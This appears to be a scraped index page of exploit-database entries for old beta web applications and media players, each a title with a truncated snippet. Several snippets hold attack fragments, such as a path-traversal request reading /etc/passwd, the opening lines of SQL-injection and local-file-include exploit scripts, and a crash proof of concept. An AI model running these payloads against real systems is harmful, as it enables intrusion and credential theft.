b2evolution 1.8.2/1.9 _410_stats_gone.page.php app_name Parameter XSS

No description provided by source. source: http://www.securityfocus.com/bid/21334/info The b2evolution application is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script co...

Drake CMS 0.3.7 404.PHP Local File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/23215/info Drake CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts...

Filmis 0.2 Beta Multiple Vulnerabilities

No description provided by source. =================================================================================== Filmis - Version 0.2 Beta SQL Injection and XSS Vulnerabilities =================================================================================== Exploit Title: Filmis - Versio...

Splog <= 1.2 Beta Multiple Remote SQL Injection Vulnerabilities

No description provided by source. || || || -----------------------------------------\ == -- ----------- ---------------------------- ------------------/ ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ¡PROUD TO BE SPANISH! ---------------------...

Vikingboard <= 0.2 Beta SQL Column Truncation Vulnerability

No description provided by source. --------------------------------------------------------------------- Vikingboard = 0.2 Beta SQL Column Truncation --------------------------------------------------------------------- Discovered By: StAkeR - StAkeRathotmaildotit Discovered On: 25/09/2008...

Paul Smith Computer Services VCAP Calendar Server 1.9 - Remote Denial of Service Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/19959/info vCAP Calendar Server is prone to a remote denial-of-service vulnerability. This issue is due to a design error. An attacker can exploit this issue to crash the application, effectively denying service. vCAP...

Sonique2 2.0 Beta Build 103 - Local Crash PoC

No description provided by source. !/usr/bin/python Title: Sonique2 2.0 Beta Build 103 Local Crash PoC Found by: b0telh0 Tested on: Windows XP SP3 crash = \x41 20000 try: file = open'b0t.pls','w'; file.writecrash; file.close; print + Created b0t.pls file. except: print - Error cant write file to...

JSPWiki <= 2.5.139 Diff.jsp Multiple Parameter XSS

No description provided by source. source: http://www.securityfocus.com/bid/25803/info JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied inpu...

awzMB <= 4.2 beta 1 Multiple Remote File Inclusion Vulnerabilities

No description provided by source. \|/// \ - - // Xmors Underground Group @ @ ----oOOo---oOOo-------------------------------------------------- Portal : awzMB system Version 4.2 beta 1 Guestbook/Weblog/Contact Download : http://downloads.sourceforge.net/awzmb/awzmb4.2beta1.zip Author : S.W.A.T...

XT-Commerce 1.0 Beta 1 => Pass / Creat and Download Backup Vulnerability

No description provided by source...

Micro CMS 1.0 b1 - Persistent XSS Vulnerability

No description provided by source. Title : Micro CMS Persistent Cross-Site Scripting Vulnerability. Author : Veerendra G.G from SecPod Technologies www.secpod.com Vendor : http://www.micro-cms.com/ Advisory : http://secpod.org/blog/?p=135 http://secpod.org/advisories/SECPODMicroCMS.txt Version :...

pl-php beta 0.9 - Multiple Vulnerabilities

No description provided by source...

Google Chrome <= 6.0.472 'Math.Random()' Random Number Generation Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/36185/info Google Chrome is prone to security vulnerability that may allow the application to generate weak random numbers. Successfully exploiting this issue may allow attackers to obtain sensitive information or gain...

CiviCRM 3.1 < Beta 5 Multiple XSS Vulnerabilities

No description provided by source. Author: h00die [email protected] & Ch3nz [email protected] Software Link: http://sourceforge.net/projects/civicrm/files/civicrm-latest/3.1.beta1/civicrm-3.1.beta1-standalone.tar.gz/download Version: 3.1 Beta 5, Tested on 3.1 Beta 1 Tested on: BT4 pre-final Greetz ...

Plogger <= Beta 2.1 Administrative Credentials Disclosure Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo Plogger = Beta 2.1 SQL injection / administrative credentials disclosure\r\n; echo by rgod [email protected]\r\n; echo site: http://retrogod.altervista.org\r\n\r\n; echo - works with magicquotesgpc = Off\r\n\r\n; echo...

PotPlayer 1.5.42509 Beta - DoS (Integer Division by Zero Exploit)

No description provided by source. Exploit Title:PotPlayer 1.5.42509 Beta - DOSInteger Division by Zero Exploit Author: sajith version: PotPlayer 1.5.42509 Beta Vendor Homepage: http://daumpotplayer.com/ Tested in: Windows XP SP3 vulnerable app link:http://daumpotplayer.com/download/ POC: -------...

Schoolhos CMS Beta 2.29 (index.php, id parameter) SQL Injection

No description provided by source. Exploit Title: Schoolhos CMS SQL Injetions Google Dork: intext:Schoolhos Free Open Source CMS Date: 22 Oktober 2012 Exploit Author: Cumi++ Vendor Homepage: http://schoolhos.com/ Version: Beta 2.29 Tested on: Ubuntu 12.04...

Affiliate Market 0.1 BETA - (language) Local File Inclusion Vulnerability

No description provided by source. Affiliate Market Ver.0.1 BETA language Local File Include Vulnerability http://kent.dl.sourceforge.net/sourceforge/affmarket/affmarket.30.03.07.zip /user/header.php?language=../../../../../../../../../../../etc/passwd I'm tryagi ..^|- milw0rm.com 2008-02-13...

Re-Script 0.99 Beta (listings.php op) SQL Injection Vulnerability

No description provided by source. Viva IslaM Viva IslaM Remote SQL Injection Vulnerability listings.php op REScript V.0.99 Beta http://www.ebigman.com/ AuTh0r : Mr.SQL H0ME : WwW.55a.NeT Email : [email protected] -: ExploiteS :-...

pL-PHP <= beta 0.9 - Local File Include Exploit

No description provided by source. !/usr/bin/perl pL-PHP = beta 0.9 Local File Include Exploit Discovered by cr4wl3r Contact : cr4wl3r!linuxmail.org use IO::Socket; use LWP::Simple; @apache= ../apache/logs/error.log, ../apache/logs/access.log, ../../apache/logs/error.log,...